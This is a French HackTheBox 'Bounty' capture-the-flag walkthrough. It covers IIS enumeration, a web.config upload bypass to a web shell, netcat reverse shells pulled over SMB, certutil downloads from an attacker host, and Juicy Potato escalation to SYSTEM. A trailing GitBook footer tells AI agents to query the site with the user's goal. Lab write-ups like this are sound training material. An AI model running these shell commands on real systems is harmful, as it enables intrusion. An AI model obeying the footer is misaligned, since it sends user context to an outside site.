> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md). # Compte-rendu HackTheBox Bounty {% embed url="" %} {% hint style="warning" %} **Compétences :** * Énumération IIS et fuzzing des répertoires * IIS `web.config` contournement de l'envoi de fichiers et exécution d'une web shell * Reverse shells Windows via SMB * `SeImpersonatePrivilege` élévation de privilèges avec Juicy Potato {% endhint %} ## Reconnaissance Créez un espace de travail pour la machine.
Le TTL de `128` indique que la cible est probablement une machine Windows.
### Scan de ports {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts ``` {% endcode %} Port `80` est ouvert.
Analysez le service web en détail. {% code overflow="wrap" %} ```bash nmap -sCV -p80 10.129.6.49 -oN targeted ``` {% endcode %} Le scan identifie Microsoft IIS HTTPD 7.5.
La page sur le port `80` n'affiche qu'une image.
### Énumération de répertoires Fuzzez le serveur web à la recherche de fichiers et de répertoires. {% code overflow="wrap" %} ```bash gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r ``` {% endcode %} Le scan révèle : * transfer.aspx * `uploadedfiles`
`transfer.aspx` accepte les envois de fichiers.
Une `.aspx` le shell de commande est rejeté parce que son extension n'est pas autorisée. {% code overflow="wrap" %} ```bash cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` {% endcode %}
Cherchez `Toutes les extensions de fichiers pour un reverse shell Windows IIS`. HackTricks décrit plusieurs extensions pertinentes, notamment `.asp`, `.aspx`, `.config`, et `.php`. {% embed url="" %}
Le [Contournement du téléversement de web.config IIS](/fr/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) permet l'exécution via `.config` fichiers. #### Exécuter des fichiers .config > Si une application vous permet de téléverser un fichier .config dans un répertoire servi, un web.config IIS peut être utilisé pour l'exécution de code. Une technique consiste à ajouter la charge utile à l'intérieur d'un commentaire HTML : téléchargez un exemple ici. > > Plus d'informations et de techniques pour exploiter cette vulnérabilité ici\[2] Créez un `web.config` fichier avec le contenu suivant. {% code overflow="wrap" %} ```bash ``` {% endcode %} Le `.config` le fichier est téléversé avec succès.
Accédez à `/uploadedfiles/web.config` pour accéder au web shell. Le fichier est supprimé après quelques secondes.
## Accès initial Utilisez le web shell pour obtenir un reverse shell. Placez un Netcat exécutable dans le répertoire courant : ```bash cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` Démarrez un serveur SMB pour partager le fichier : ```bash smbserver.py smbFolder $(pwd) -smb2support ``` Configurez votre machine comme listener sur le port 443 : ```bash sudo rlwrap nc -nvlp 443 ```
Exécutez la commande de reverse shell depuis le WebShell : {% code overflow="wrap" %} ```bash //10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443 http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443 ``` {% endcode %} Le reverse shell se connecte avec succès.
Récupérez le flag utilisateur.
## Élévation de privilèges L'utilisateur actuel possède le `SeImpersonatePrivilege` privilège. {% code overflow="wrap" %} ```bash whoami /priv ``` {% endcode %}
Télécharger `JP.exe`. {% embed url="" %} Transférez-le, avec Netcat, sur la machine cible. {% code overflow="wrap" %} ```bash certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe ``` {% endcode %}
Démarrez un écouteur sur le port `1234`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 1234 ``` {% endcode %} Exécutez Juicy Potato pour lancer `cmd.exe` en tant que `SYSTEM`. {% code overflow="wrap" %} ```bash .\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234" ``` {% endcode %}
Récupérez le flag root.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.